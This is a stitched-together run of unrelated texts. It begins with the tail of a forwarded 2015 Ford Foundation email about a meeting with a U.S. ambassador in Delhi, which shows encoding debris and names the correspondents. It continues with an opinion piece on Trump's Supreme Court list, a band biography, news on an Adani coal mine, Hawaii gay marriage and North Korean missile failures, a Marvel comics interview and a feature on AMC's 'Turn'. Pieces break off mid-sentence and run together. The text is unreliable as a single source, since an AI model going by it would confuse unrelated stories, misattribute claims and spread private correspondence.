solid;padding-left:1ex">John--t= his note is from Xav Briggs, Ford VP who is in Delhi and met with Ambassado= r Verma yesterday.=C2=A0 Thanks, Darren<br> <br> -----Original Message-----<br> From: Briggs, Xavier<br> Sent: Wednesday, May 27, 2015 3:29 AM<br> To: Walker, Darren; Ironside, Alfred; Monteiro, Ken; Jarvis, Kristen<br> Cc: Sunder, Tuhina; Ramdas, Kavita<br> Subject: Excellent meeting with the U.S. Ambassador<br> <br> Excellent because of what I think I got them to understand, not b/c they ga= ve me new info.<br> <br> Ambassador Verma made nearly a full 30 min for the mtg, which I appreciated= since we didn't give him a lot of notice. And his senior team was in t= he room.<br> <br> Since what matters is not what I said but what they thought they heard, I&#= 39;ll focus on their replies -- many of which came with Verma asking 'h= ave we heard you right' -- which I found encouraging:<br> <br> -- The Ford Foundation takes the long view and sees adapting to'shifti= ng space' as an important part of remaining effective and relevant in a= wide variety of settings across the globe.<br> <br> -- We feel we're in an increasingly good place with the government, wit= h greater clarity on what shaped the past few months and also what the elem= ents of a resolution and new normal might be. We have been told by senior o= fficials that the government wants us to continue to operate in India. Yest= erday's positive news story is consistent with this, with the start of = a turn, however modest.<br> <br> -- We do have some immediate operational imperatives and the Indian governm= ent, specifically Home Affairs, could help us resolve them, especially with= Citibank, even if it wants to keep us on a watch list for a while. That co= nversation is in progress. Enforcement authorities can issue all sorts of &= #39;clarification' that create openings without changing the 'watch='status altogether. I used IRS and FBI analogies to explain it to them=. Heads nodded. Verma had been thinking in more absolute terms (can you fun= ction while on the watch list, yes or no?).<br> <br> -- We see our situation as part of a larger set of moves by the Government = of India to treat civil society differently, to be sure. But we're not = headed to the barricades. The Ford situation is special, in part because we= were ensnared as part of a larger criminal investigation. We see scrutiny = and compliance as legitimate and important everywhere we work. We look fwd = to working things out constructively. I briefly explained our long-standing= exceptional status vs the recent steps Gates took to register in India -- = merely as an example. And Modi is no fan of Nehru. Invoking that personal i= nvite long ago is not our best card to play. Acting privileged is not our a= pproach to this.<br> <br> -- What would be helpful now is to make sure the USG 'does no harm'= (his words). In general, we should all look to build on the evolving, posi= tive relationship between Obama and Modi and see that this gets worked out = in a constructive way. That's in the interest of both countries, not ju= st the foundation.<br> <br> I'll write separately about yesterday's encouraging news story abou= t Home Affairs 'allaying' our concerns.<br> <br> Darren, you might want to fwd this to JP, who really values real-time updat= es, as Sonal underscored.<br> <br> Xav<br> <br> (Excuse typos, sent from my mobile)<br> </blockquote> --001a11c3fe00c6939005174c8ce2--AP Photo/Ted S. Warren
There used to be a standard operating procedure for Republican presidential candidates when they got asked about the Supreme Court. Avoid talking about specific issues you hope the Court will decide, don’t mention any specific people you want to put on the bench, and just offer some vague principles that sound good to everybody but are actually meant as dog-whistles to reassure your conservative supporters that they’ll get the kind of appointments they want. Your model justice would be an advocate of “judicial restraint,” who “won’t legislate from the bench” and who “respects the intent of the Founders.”
But as in so many things, Donald Trump doesn’t play by those rules. Instead, he just released a list of 11 judges from whom he says he’ll choose his Supreme Court picks.
Here are the 11 justices Republican presidential candidate Donald Trump says he would consider for the Supreme Court if elected president. (Sarah Parnass,Jenny Starrs/The Washington Post)
In doing so, Trump demonstrated to conservatives why there’s almost no reason for them not to get behind him.
But that’s not because the list shows that he shares their perspective or will be ideologically reliable. It’s because it’s yet more evidence that when it comes to the things conservatives think are important, Donald Trump just doesn’t care one way or the other. And that means they can get almost everything they want out of a Trump presidency.
As our reporters Jenna Johnson and Robert Barnes wrote, “Trump’s picks looked more like a wish list of the nation’s conservative legal elite than the product of a political revolutionary.” And that’s because, I promise you, Trump just told somebody to put together a list, looked at it, and said it seems fine. He had previously said he’d let the Heritage Foundation assemble his list, while this one has some of their picks and a few others. But I’ll bet that if you asked him today who’s on his list, he couldn’t give you more than one or two names. Even though, as I’ve been arguing for the last couple of years, the Supreme Court may be the single most important issue in this election, there’s nothing to suggest that Trump much cares about who he puts on it. Which means conservatives get what they want.
Some people, myself included, argue that we focus way too much on personality in the presidential campaign (as interesting as personalities are), because what matters more than anything is the basic ideological distinctions between the parties. Yes, the individual characteristics each president brings to the office can make a difference; for instance, Barack Obama is extremely cautious about foreign entanglements, while Hillary Clinton is likely to be more aggressive when it comes to getting involved in hotspots around the globe. But on the vast majority of issues, what matters is whether there’s a Republican or a Democrat in the Oval Office. Any Republican will pursue basically the same set of policies as any other Republican, and the same is true of Democrats. Furthermore, they’re going to have to fill all those thousands of executive branch positions from the same pool of people. Each party has its own government-in-waiting when it’s out of power, cooling its heels in think tanks and advocacy groups and lobbying firms, waiting to move back into government when they win, no matter which contender from their party gets the nomination.
But there’s a deep irony at work with Donald Trump. He’s the least ideologically committed candidate we’ve seen in a very long time, at least since Eisenhower and maybe even before. To the broad public, he offers a Great Man theory of the presidency: don’t worry about issues, because with my huge brain, superhuman deal-making skills, and overall personal tremendousness, I will solve all our problems. Yet precisely because Trump doesn’t care in the least about any policy issues, conservatives may have no more to reason to fear that he’d betray them on policy than they would with a committed conservative like Ted Cruz.
How are things likely to proceed in his presidency? On the Supreme Court, he just takes a list from conservative activists. When Republicans in Congress craft legislation, is he going to stay up late at night going over each sub-section to make sure they reflect his beliefs? Of course not — they’ll pass it, he’ll sign it, and he won’t bother reading more than the title. Is he going to worry about who all his undersecretaries and deputy secretaries are, and make sure he agrees with the policy decisions they make? Not on your life. He’ll say, “Get me some fabulous people, really top-notch, the best” — and the Republicans around him will put the same people in those positions who would have served in any Republican administration.
Trump has said many things during the campaign that contradict conservative dogma. So what? If you’re a conservative worried about some policy stance Trump took today, you can just wait until the next time he gets asked about the same topic, and he’ll say something completely different. That may mean he isn’t committed to your position deep in his heart, but that doesn’t matter. If on a particular day as president he takes some policy stance that runs counter to conservative ideology, is he really going to care enough to pursue it, especially when the people around him are objecting? Or is he more likely to say, “Eh, whatever — what else is going on today?”
This has already been made clear on specific issues. As this blog has previously detailed, no matter how many times media outlets say otherwise, Trump did not actually signal that he might raise taxes on the rich or raise the minimum wage. All he has done was signal general vagueness born mostly of disinterest or lack of appreciation of policy detail, followed by clarifications that he would cut taxes on the rich and opposes the existence of any federal minimum.
There are a couple of exceptions, particularly trade, where conservatives are generally advocates of free trade and Trump seems determined to start a trade war with China. But even on what may be the issue most important to him, it’s hard to tell how his bombastic rhetoric would translate into actual policy decisions. So there too, the Republicans around him would have plenty of room to shape policy in their preferred direction. And yes, the fact that he’s so ignorant and erratic could have consequences that range from the problematic to the catastrophic. But that’s not an ideological question.
So if you’re a conservative, you can refuse to support Trump because he’s such a raging buffoon that there’s no telling what kind of damage he could do to the country. That’s more than enough reason to oppose him. But if what really matters to you is the substance of conservative ideology, you probably have nothing to worry about.iOS 5’s hidden Panorama mode uncovered
It’s well known that iOS 5, Apple’s current iteration of its mobile operating system includes a camera application and functionality built in – what you might NOT have known is that there’s a hidden feature in there by the name of Panorama. While such a tiny feature might not strike the fancy of your everyday average mobile device user using, for example, Android, here in iOS such a revelation can be life-changing. What this official Panorama mode signifies is more than just the ability to capture long areas of space with your iPhone or iPad 2, it shows that Apple doesn’t always keep its tiny secrets hidden – let the searching continue!
Of course to find this feature, you’re going to need |
played in the 2013 film 21 & Over. "While I'm Alive", from the album Miracle Mile, is featured in the film adaptation of The Fault in Our Stars.
The songs Rawnald Gregory Erickson The Second, While I'm alive and Bed-Stuy (Super Cop) were played in the 2014 film Two Night Stand, starring Miles Teller and Analeigh Tipton as main characters, Jessica Zohr, and Scott 'Kid CuDi' Mescudi.
Style [ edit ]
Further explaining the band's name, Josh Hodges said: "I was around all these people who were kind of douchey, the kind of people I would never hang out with, and one of them bragged about being a'starfucker.' I thought, 'Who are these people? What is this world?' That's why I chose the name: because it represented all I didn't want to be a part of, all I didn't want to do. So it does hold us back, but that was the point, originally."[10] They have also explained it is to keep themselves from taking themselves too seriously as a band and get involved in social politics in the music industry: "I got kind of sick of the idea of success through music or something, so that’s how STRFKR was born. I had this other band and the label it was on had this vision for it and I wasn’t that into it. So I just kind of quit doing that and I was still making music in my basement. It’s just something I always will do whether I’m showing it to other people or not and that’s what STRFKR was. I was like, let’s just do this at house parties. I was trying to remove myself from that rat race or whatever."[11]
Hodges describes the goal of the band's music as "dance music that you can actually listen to, that's good pop songs, but also you can dance to it.".[12] Another defining characteristic is their lyrics, which often discuss death, mortality, and the end of the world but doing so over upbeat and popular dance music. Samples from lectures by Alan Watts are spliced into several of their songs, including "Florida," "Isabella of Castile," "Medicine," "Pistol Pete," "Mystery Cloud," "Golden Light," "Hungry Ghost", "Interspace" and "Quality Time".[13]
The band, notably bassist Shawn Glassford, has earned a reputation for wearing women's clothing during live performances, as was prominently displayed in the band's music video for the song "German Love", directed by Rebecca Micciche. This is used in harmony with their "anti-fashion" approach to music. However, most of their music videos are not made with much of the band's actual involvement or appearance.
Discography [ edit ]
Studio albums [ edit ]
Extended plays [ edit ]
Starfucker (2007)
(2007) Burnin' Up (2008)
(2008) Jupiter (2009)
(2009) B-Sides (2010)
Singles [ edit ]
"Julius" (2010)
"Happy Fucking Holidays" (2010) (Soundcloud Release Only)
"Dragon Queens" 7" Split w/ Champagne Champagne (2011)
"The Wisdom of Insecurity" from Japan 3-11-11: A Benefit Album (2011)
(2011) "While I'm Alive" (2012)
"Golden Light" (2014) 12"
"Astronaut" b/w "Little Lover" (2015) (Record Store Day release, 400 copies)
"Never Ever" (2016)
"Amiee" (2017)
Other releases [ edit ]
B-Sides (2010)
Heavens Youth (Reptilian Demos) (2011)
(2011) Mixtape 1
Vault Vol. 1 (2017)
(2017) Vault Vol. 2 (2017)
(2017) Vault Vol. 3 (2017)MELBOURNE (Reuters) - Adani Enterprises (ADEL.NS) won support on Monday from the State Bank of India (SBI) and an Australian state to help it build a $7 billion coal mine, defying a slump in coal prices to 5-1/2-year lows that has stalled rival projects.
Billionaire Gautam Adani speaks during an interview with Reuters at his office in Ahmedabad April 2, 2014. REUTERS/Amit Dave/Files
The infrastructure conglomerate, whose founder, Gautam Adani, has close ties to Prime Minister Narendra Modi, has signed a memorandum of understanding for a loan of up to $1 billion from the SBI for the mine, rail and port project, which it aims to build by end-2017.
The loan, which would be one of the largest extended by an Indian bank for an overseas project, was announced as Adani was in Brisbane with a business delegation for the G20 summit, which Modi attended over the weekend.
“The MOU with SBI is a significant milestone in the development of our Carmichael mine,” Adani said in a statement.
Adani, 52, has enjoyed a rapid rise in Indian business circles in recent years, a rise often associated with Modi, who until this year headed the government in Gujarat state where Adani is based and where it has a huge coal-fired power plant.
Shares in Adani Enterprises have surged 85 percent this year - helping Adani to more than double his net worth to $7.1 billion, according to Forbes - largely in the run-up to Modi’s national election victory in May.
Adani also won a commitment from Queensland state government to take short-term, minority stakes in rail and port infrastructure needed to unlock the massive coal reserves in the untapped Galilee Basin. Coal from the region must be sent 400 km (250 miles) by rail to Australia’s east coast.
Adani aims to reach a final investment decision on the Carmichael project in late 2015.
Australia’s federal and Queensland governments are eager to see the mine built following the loss of more than 4,000 coal jobs over the past two years, but analysts and project finance experts believe Adani may have underestimated the challenge of raising funds for the project.
“People have been very sceptical about the financing of this project. As we always said, we’ll keep getting this, one by one. The pieces are falling in place,” Adani Mining CEO Jeyakumar Janakaraj told Reuters.
Adani, which is also facing a campaign by anti-coal campaigners, is counting on securing A$1.2 billion to A$1.5 billion in funding from South Korea’s export credit agencies, as well as a loan from the U.S. Export-Import Bank.
The company’s apparent momentum on Carmichael is in stark contrast to rival Indian firm GVK’s slow progress on another huge coal mine in the Galilee Basin, the Alpha project, which is co-owned by Australian billionaire Gina Rinehart.
Much bigger coal rivals, such as BHP Billiton (BHP.AX) and Glencore (GLEN.L), have shelved coal developments at a time when a third of Australia’s coal output is making losses.
Janakaraj dismissed comments by Indian Power and Coal Minister Piyush Goyal that the country may be able to stop importing thermal coal within three years.Janet Van Dyne’s legacy as the Wasp is interwoven through decades of Marvel Comics—but now, a new character is going to take the moniker. Who is she? What’s her agenda? What’s her connection to the Wasp’s legacy? We sat down with writer Mark Waid to exclusively unveil the first details about the new Wasp.
Advertisement
One detail Marvel is currently keeping mum on: her name. We may not know who’s in the new outfit, but we know Marvel is not looking for a replacement for the first Wasp.
“[Marvel Editor Tom Brevoort and I] both love the Wasp, and we both love Janet Van Dyne—she’s instrumental to the Avengers, the one who named them. Everyone forgets, but she’s the one who recognizes that that guy they dragged out of the ice [as] being Captain America! She’s pretty sharp, and she’s always been a good, solid member of the team.” But Waid, who’s currently the head writer on the main Avengers comic book All-New, All-Different Avengers, leapt at the chance to add a new chapter to the story Janet Van Dyne’s hero had began.
Advertisement
So rest assured that despite the existence of a new Wasp, there are still big plans for Janet elsewhere in the Marvel universe—and she hasn’t given up being the Wasp, either. “[Janet] just showed up in this week’s All-New Wolverine, and she’ll be making some appearances in Uncanny Avengers in upcoming months as well,” Waid confirmed, and added that the creation of a new Wasp presented a unique opportunity to explore her relationship with the Avengers. “Tom and I talked about it, and thought that we do want a Wasp present in the Avengers book, but does that necessarily mean she has to be an Avenger? It doesn’t necessarily have to mean that she has to be friend or foe. What can we do to develop that character in a way we haven’t seen before?”
Waid was at first wary at delving into the legacy of a character he loved. “[It was] a little terrifying,” he said, when asked about being approached to write the character. “I’ve always been a fan of the Wasp, the thing we had to be most careful about was making readers understand that this isn’t a dismissal of Janet Van Dyne or her legacy, and I think we’ve accomplished that in the way we’ve set up our story.
“We’re not in any way trying to replace Janet,” promised Waid.
Advertisement
Janet will be aware of this new character taking on the Wasp identity (“I don’t think... she’ll be particularly pleased,” Waid said) especially since the new character will actually have a much larger connection to another hero in the Marvel universe: the currently off-Earth Hank Pym, Janet’s former husband.
“[The new Wasp] has a strong connection to Hank Pym. We will see that in the Free Comic Book Day story [that introduces her], and we will understand a large part of what that connection is, and how she has come to grips with this new Wasp identity. She’s a girl about 16, 17 years old, and we will see how she comes to grips [with her situation] at the same time that Hank himself left the Earth, as of the Rage of Ultron graphic novel last year, where he merged with Ultron and went off into space,” Waid teased when asked about the connection. “So this girl shows up at Hank Pym’s front door, looking to figure out what her connection to Hank is, and Hank is not there. Hank’s absence is a large part of what births this new Wasp as part of her origin.”
Advertisement
So what sets the new Wasp apart from Janet? In terms of her power set, not much. “She very much has the same powers as Janet, but there’s some new wrinkles to them,” the writer said—but interestingly, those wrinkles will have a scientific background to them.
“As silly as this sounds, there’s things about wasps that Stan [Lee] and Larry Lieber (Janet’s creators alongside artist Jack Kirby) didn’t know 50 years ago,”explained Waid. “I’m a big fan of when you model a character as someone with a biological origin, doing deep dives and a lot of research. [I did a lot] on wasps to see if there was anything interesting there to translate into a Marvel superhero. But I’ve also always been a big fan of the size-changing characters and what can be done with them there with what we’ve learned about quantum mechanics and that sort of thing in the last few years.”
Advertisement
In terms of her character, the new Wasp will be a little more reckless and overconfident compared to Janet, but she’s also as brilliant as Marvel’s other scientific geniuses. “She’s very, very smart,” said Waid. “We have a lot of supergeniuses in the Marvel universe, but very few of them are women. I really wanted to give the main Marvel universe a young woman who is tomorrow’s Tony Stark or Reed Richards—she has more of a biochemical bent. Tony’s an engineer, Reed is very technological, but [the Wasp] is a biochemist wizard.”
The new Wasp will first appear in Marvel’s prelude to its Civil War II event, released for Free Comic Book Day 2016 on May 7th. But it won’t exactly be a clear indicator of the role the new Wasp will play in the event, according to Waid. “We’re still trying to figure that out, and define her role in [Civil War II],” he said. “Her appearance in the FCBD issue is less related to Civil War II than it is to All-New All-Different Avengers.”
Advertisement
Shorlty afterwards, the Wasp will make a second appearance in All-New All-Different Avengers #9, and like Janet, they won’t be too happy to see this new hero.... if she even is a hero. “Remember, you used the word hero, not me!” Waid exclaimed.
“I will say that the Avengers, especially The Vision, will have a great deal of apprehension about [this new Wasp],” he added, noting the Vision in particular due to his presence on Avengers #9's cover (above). “Her presence will not necessarily be a cause of celebration. In fact, one member of the team specifically takes enormous umbrage at the fact that this young woman has usurped the Wasp name and identity. That specific person’s identity will surprise you, but also inform what we think of this new Wasp.”
Advertisement
After her appearance in Avengers #9, the new Wasp’s future will still be tied with the team. “She does not join the Avengers on their next mission in issues 10 through 12,” Waid told us, “but she will be part of a running subplot within the book.” It seems that it might be a while before we even begin to learn the character’s nature. “Ideally, we’d like to do more with her starting in issue 13, because we don’t want to answer the question yet about whether or not she’s friend or foe,” Waid concluded.
But with Janet van Dyne still active as the Wasp, Scott Lang doing his own thing as Ant-Man, Hank Pym on his way back to Earth, and now this new mysterious person taking the moniker, it seems Marvel’s going all-in on its “biggest” shrinking family.
Advertisement
Could a new team-up series be on the way? Apparently Waid is a fan of the idea. “That would be awesome!” he exclaimed. “Giant-Sized Ant-Man Team Up would be awesome. I would totally write that, in a heartbeat.”
The new Wasp makes her début in Free Comic Book Day: Civil War II #1 on May 7th.It is a particularly difficult question in light of Sunday’s botched test, because it is still unclear exactly what missile was launched. By nature, missiles teeter on the brink of failure, and new designs are often accident prone. At their best, missiles are dense welters of pipes, engines, valves, pumps, volatile fuels, relays, explosive bolts, wires, sensors and circuit boards that suddenly emit blistering flames and roar skyward with such shattering violence that they often quickly hit the breaking point. Things can easily go wrong, and frequently do.
But even by those measures, the North Koreans are having a rough time, and it has gotten a lot rougher since the United States accelerated its sabotage program.
In the annals of rocketry, experts say, roughly 5 to 10 percent of developmental test flights go awry. That holds even for such high practitioners of the art as the billionaires Jeff Bezos, the founder of Amazon, and Elon Musk, the founder of Tesla, who are now racing to redefine the future of spaceflight. (By contrast, American commercial airline flights have a success rate of more than 99.9999 percent. And when crashes do occur, it can take investigators weeks, months or even years to identify the cause.)
But the sheer frequency of North Korean missile mishaps suggests that sabotage lies behind at least some of the recent failures.
So does the timing. Typically, countries encounter high failure rates when they start their rocket programs. As the programs mature, and engineers gain experience, spectacular failures decline and success tends to become a habit. In North Korea, the situation has been the exact reverse.
By and large, the North was a reliable maker of missiles in the 1980s, ’90s and into the 2000s. The government sold its missiles to Pakistan and Iran, among others.
Then came the effort to launch the Musudan, an intermediate-range missile that Pyongyang first displayed in a military parade in late 2010. It was 5 feet wide and 40 feet long — remarkably small compared with the North’s big rockets. But it represented an enormous threat. Carried on a truck, it could be hauled on country roads through forested regions or kept in tunnels, making it easy to hide and, as a target, difficult to find and destroy.Michigan interim athletic director Jim Hackett says he will wait until after the season to decide whether to retain Brady Hoke as head football coach.
"I'm putting that question off until the end of the season, really rooting for them to do the best they can," Hackett told WOOD. "I'm totally behind them and I'm really happy since I've been in the job, we're 2-0."
Hackett took over as interim AD when Dave Brandon resigned on Oct. 31.
• Michigan president apologizes to Brady Hoke for critical comments
Hoke is 12-11 since the start of the 2013 season. The Wolverines need one win in their final two games to avoid missing a bowl game for the first time since the 2009 season.
In addition to his mediocre performance, Hoke has also drawn criticism for player safety concerns. During a game against Minnesota in September, quarterback Shane Morris sustained a concussion but was not immediately removed from the game. Brandon later apologized for how the situation was handled.
- Dan GartlandHawaii's battle over gay marriage brought state lawmakers back to work Monday after the governor called a special session that could make the islands a wedding destination for more couples.
Some 1,800 people signed up to testify in person at a Senate committee hearing, which was carried live on TV and local news websites. Dozens of people gathered around three televisions in the Capitol rotunda, cheering testimony they agreed with and singing songs.
Opponents of gay marriage solicited honks and shaka signs from passing motorists on the street, staging a large rally of hundreds of people timed with afternoon rush hour.
Gov. Neil Abercrombie called the special session after House and Senate lawmakers couldn't muster the two-thirds support needed to do it themselves. He says passing a bill would put Hawaii in line with two Supreme Court rulings that affirmed gay marriage and granted federal benefits to legally married same-sex couples.
Hawaii already allows civil unions, and some members of a Senate committee questioned Monday whether it was important to also allow gay marriage.
After Hawaii Attorney General David Louie said same-sex couples in civil unions in Hawaii who got married in other states would essentially get similar benefits to couples married under the new law, Republican Sen. Sam Slom questioned the point of debating further.
His comments drew responses of "Amen" from some in the crowd.
But Louie, who supports legalizing gay marriage, said traveling to the U.S. mainland is no small issue, given costs and effort needed to arrange a marriage in other states.
"That is not an unsubstantial burden," Louie said.
Judiciary Chairman Sen. Clayton Hee asked Louie to prepare a report detailing any other tangible benefitsHawaii couples would gain or lose, including implications for taxes, insurance and other federal and state benefits.
Louie promised a response and said a law may have implications for Medicaid and Family and Medical Leave Act benefits.
"I have to tell you, I'm kind of confused now," said Sen. Malama Solomon, who said she didn't know until Monday's hearing that gay couples who legally marry in other states would get only minimal benefits by being allowed to marry in Hawaii.
Proponents say they shouldn't have to wait for gay marriage, calling it a civil right, and have argued gay marriage could be a boon for tourism in Hawaii as an appealing destination for ceremonies and honeymoons.
Opponents say society needs to encourage marriage between men and women, in part to protect children. They also say a religious exemption proposed in the bill doesn't do enough to protect people who don't believe in gay marriage from having to facilitate ceremonies. Other opponents want a public vote, rather than a special session in a Legislature dominated by Democrats.
Nearly 4,000 pages of written testimony were submitted ahead of the hearing, which was held under tight security in a crowded basement auditorium in the Capitol.
Testimony was expected to go into the night with a committee vote to send the bill to the full Senate.
On the House side, Rep. Bob McDermott, a Republican representing Ewa and Ewa Beach, introduced a proposal to amend the Hawaii Constitution to explicitly restrict marriage to between men and women. The constitution currently gives the Legislature the power to decide whether marriage between two people of the same sex should be allowed.
It's not clear whether McDermott's proposal will be heard before a committee. It had been referred to the judiciary and finance committees, but no hearing was scheduled.
Get the Monitor Stories you care about delivered to your inbox. By signing up, you agree to our Privacy Policy
Rep. Karl Rhoads, chairman of the House judiciary committee, said a final decision had not yet been made.
The same House committees scheduled a Thursday joint hearing on the Senate bill to legalize gay marriage, presuming it crosses over from the other chamber.High on a hill, layers of straw cover cold, soggy ground. But there isn't enough straw in Goochland to sop up all the water, which pools into divots and saturates the most trafficked paths. At least the late-February morning downpour is over.
"You came on one of our better days," quips a burly crew member on the set of AMC's new series, "Turn."
When the snow isn't falling, yet again, during this nagging Richmond winter, the mud is unrelenting. On another day's shoot, the muck caught a camera operator when his foot got stuck while walking backward with a Steadicam. A background actor in the scene focused on getting through take after take without losing a shoe.
The shoes.
"That's all I think about, is how many shoes I will be scrubbing," an assistant says, joking about the task ahead while actors walk by. Down the hill in a production tent, where plywood keeps the waterlogged field at bay, two of her colleagues are wiping off shoes one at a time, making headway on a stack.
Oh, and there's no magic formula for cleaning the costumes. "Virginia red clay doesn't come out of clothes," she says. "It just doesn't."
click to enlarge Antony Platt/AMC
Described as a “born attack dog,” Capt. John Graves Simcoe, played by actor Samuel Roukin, gets aggressive in a scene from “Turn.” Filming in Richmond wrapped March 26 on season one, which premieres Sunday at 9 p.m. on AMC.
Yet they couldn't be happier — at least creatively. This is supposed to be the 18th century, after all, where the residents of a small, coastal town in Long Island, N.Y., must deal with the elements. (Not to mention the spies. But more on that later.)
Biggest production challenge? "The weather," line producer Larry Rapaport says. Then again, capturing that snow on film! "It looked beautiful."
"We don't want it to be a museum piece," says Ben Davis, a bundled-up AMC executive who was awake at 5 a.m. "We want it to feel real, and dirty, and muddy."
This from a guy who's spent years overseeing a show about rotting corpses.
Davis, a New Jersey native who lives in Los Angeles, has worked on AMC shows that have drawn loyal fans and struck the cultural zeitgeist, such as "Mad Men" and "Breaking Bad." Speaking of, he's at work on that show's spinoff, "Better Call Saul."
The network also credits him with helping develop "The Walking Dead" into the No. 1 prime-time show on television among adults ages 18-49.
But "Turn" isn't a drama about zombie killers. Or a dashing ad executive who lives the glamorous life while battling personal demons. Or the secret universe of a high-school science teacher who makes a fortune cooking meth but loses it all.
No, "Turn" is about the stuff you learned in social studies class.
Or is it?
click to enlarge Scott Elmquist
Costume Designer Donna Zakowska, who won an Emmy for her work on HBO’s “John Adams” — also shot in Virginia — offers a tour of her workshop in a warehouse near the Richmond International Raceway. Despite the show’s time period, she says, it offers a “very contemporary statement” about young people making change.
To walk through Richmond is a step through time, but the cobblestones can trip you up once you get about 150 years back.
Sure, there are powerful reminders of the nation's birth, beyond fleeting Fourth of July fireworks at The Diamond. Jean-Antoine Houdon's statue of George Washington stands inside the State Capitol, which Thomas Jefferson designed. Three weeks ago, when the boys' basketball teams from two city high schools fought for the state championship, George Wythe fell to John Marshall. In Church Hill, summer re-enactments of the Second Virginia Convention start up next month at St. John's Church, where Patrick Henry will bellow, "Give me liberty or give me death!"
But let's face it: If there's such a thing as history hype, the real fireworks fall in the era of brother fighting brother, North vs. South, the blue and the gray. Richmond reigns as the former Capital of the Confederacy, home to passionate flag debates, Civil War museum mergers, carefully marked battlefields and Monument Avenue statues of generals on horses. When it comes to the nation's founding war, you won't run across an assembly of Redcoat re-enactors defending their love for his majesty as heritage not hate.
Going beyond the apple-pie hurrah of the nation's origin story to the gritty intrigue of the American Revolution isn't just a challenge for Richmond, either. When's the last time you kicked back with some popcorn for gripping entertainment about the Founding Fathers?
"Hollywood has never made a film about the American Revolution that has lived up to expectations," writes Steven Mintz, a history professor at the University of Texas at Austin, in an essay citing fewer than a dozen movies worth considering.
"Modern-day audiences find it difficult to identify with characters from the 18th century, who wear powdered wigs and knee breeches, use formal speech patterns, and write with quill pens," Mintz writes. "In addition, we live in a cynical age and hate being reminded of more noble times. There is a tendency to regard Revolutionary War movies as excessively patriotic and overly romanticized."
Or the way "Turn" showrunner and executive producer Craig Silverstein describes such treatment, a "preserved-in-amber, David-and-Goliath tale."
Which is why he isn't taking you there.
click to enlarge Antony Platt/AMC
Redcoats prepare for a scene in “Turn” in the Richmond area. About 150 people were involved in the production.
Instead, he and AMC are counting on the nearly invisible ink on pages of history to capture viewers — the espionage, ambushes, secret signals and bodies in barrels. A profession that's "the lowest form of life there is," as one character says in a scene, growling through a sneer — "lower than a Sodomite, or a serpent's belly. A spy."
Silverstein's interest in this world started in late 2008, he says, when executive producer Barry Josephson handed him the book "Washington's Spies: The Story of America's First Spy Ring," by Alexander Rose.
It was the summer of 1778, and the United Colonies of America were struggling to break free from King George. The Continental Army, led by commander-in-chief George Washington, was in the midst of a war that would stretch more than eight years. The British had captured New York City, and Washington was determined to win it back.
He surrounded them, but knew little about his enemies. When it came to intelligence, New York was "dark and silent," the historian Rose writes. "Not just maddeningly senseless to the enemy's strategy and intentions, Washington now lacked such vital, timely information as troop strength, morale, army gossip, supply levels, naval reinforcements, and even the names of senior commanders."
Washington needed spies. He found them in Caleb Brewster, Ben Tallmadge, Anna Strong and Abraham Woodhull, Rose writes — childhood friends from the small, insular town of Setauket, N.Y. They and others became America's first agents of espionage, the Culper Ring. Rose says Washington's name for the ring was inspired by the county in Virginia where he worked as a 17-year-old surveyor in 1749 — Culpeper.
On 21st-century television, a young band of actors plays the Culper Ring, most recognizably Jamie Bell in the lead as Abe Woodall. Now 28, as a teenager Bell made a splash in the exuberant, title role of the 2000 film "Billy Elliot" (and yes, he can be spotted dancing on the set of "Turn"). Caleb is played by Sydney actor Daniel Henshall. Ben is played by Seth Numrich, the youngest person accepted into the Julliard School's theater department. And Anna is played by Heather Lind, who has a variety of credits from television, film and Shakespeare in the Park.
click to enlarge Scott Elmquist
In the art department, Production Designer Caroline Hanania shows a model of the little town of Setauket. Its life-sized version appears on a Goochland County set, with interiors replicated on a sound stage near the Richmond International Raceway.
Focusing on that clandestine team of patriots who risked their lives in secret service, Silverstein envisioned a way to illuminate the more complex tale of the American Revolution, which he likens to a family breakup, a child pulling away from a parent. "It was very tough, it was very sad," he says.
"They all thought of themselves as British subjects," Silverstein says of the colonists, and to join the American cause was to become a traitor. "People's honor and their word meant a lot. So to go against that was no small thing."
He recalls his pitch for the show — and why this is the time to put it on television. "America is in a very complicated place now," he says. "And a lot of people politically have been invoking the Founding Fathers. It's sort of framed as, we started pure, we started simple. How did we get so complicated and screwed up?"
The reality is more relatable, he says: "I think there's great comfort in saying, it actually was not as pure as you may think. There was a little bit of sanitizing that went on so that we could have a real strong creation. So that's what we're kind of breaking down a little."
And that's how "Turn" became a spy thriller, an exploration of patriotism. The series is built not only around everyday people forced to decide where their loyalties lie, but also on the beginnings of, in essence, the Central Intelligence Agency.
If you visit the CIA's campus in Northern Virginia, you'll find a statue of the man the agency lauds as "the first American executed for spying on behalf of his country," Nathan Hale. He was a classmate at Yale University with Ben Tallmadge. According to legend, Hale's last words before dying at 21 were, "I regret that I have but one life to lose for my country."
click to enlarge Antony Platt/AMC
With his horses inside a church that serves as a makeshift headquarters, Maj. Hewlett, played by actor Burn Gorman, confers with Judge Woodhull, played by Kevin R. McNally. Woodhull is a loyalist while his son, Abe, fights for a different cause.
Another 21-year-old stands inside the door to a tiny church atop that muddy hill, packed with dozens of patient extras and crew, who execute a graceful dance around cables, monitors, cameras, laptops, lights and a boom mike.
"I drove one and a half hours to get here," Aaron Peterson says. A landscaper for a church in Fredericksburg, he's playing one of the townsfolk of Setauket. He's been growing his hair out for about four or five years, and it comes in handy for the era he's traveled into, his long ponytail trailing behind his tricorn hat.
It's Peterson's first brush with the business, and he's enjoyed taking it all in, he says: "I didn't know the scenes had to be acted out so many times."
But compared with film, things move quickly. "It's a new deal!" someone calls out, signaling it's time to change setups and move along.
On this visit, they're shooting episode seven on their way to the 10th, the final of the season. They use two cameras in the church scene, and there isn't the luxury of spending hours to overthink technical points or explore every nuance of dialogue.
That isn't to say there aren't lots of eyes on the details. About 150 people are part of the production, and Silverstein is here today.
Carrying coffee, he climbs into the passenger seat of a mud-splattered white van around 10:40 a.m. He reviews notes on the drive up the hill, pausing to look out the window, gesturing. "That field out there is ocean in our show," he says of the special effects that come later.
This is where the sets were built for the 2008 miniseries "John Adams," produced by Tom Hanks. It's the former James River Correctional Center west of Richmond, or State Farm, which has become a boon for the Virginia Film Office in landing productions. Among them, two versions of "Lincoln" spent time here — one by Spielberg and one by the National Geographic Channel.
click to enlarge Scott Elmquist
A few hours after a downpour on a cold day in late February, a line of background actors prepares for a sweeping shot on the set of “Turn,” west of Richmond. Just over the hill to the right is the set for Setauket, which appears onscreen as a small, coastal town.
The area's versatility, with its rolling hills, sweeping riverside, remaining set pieces and remote location make an attractive place to set up shop. A map drawn for "Turn" illustrates the show's sawmill, farm, church and town — and crew parking.
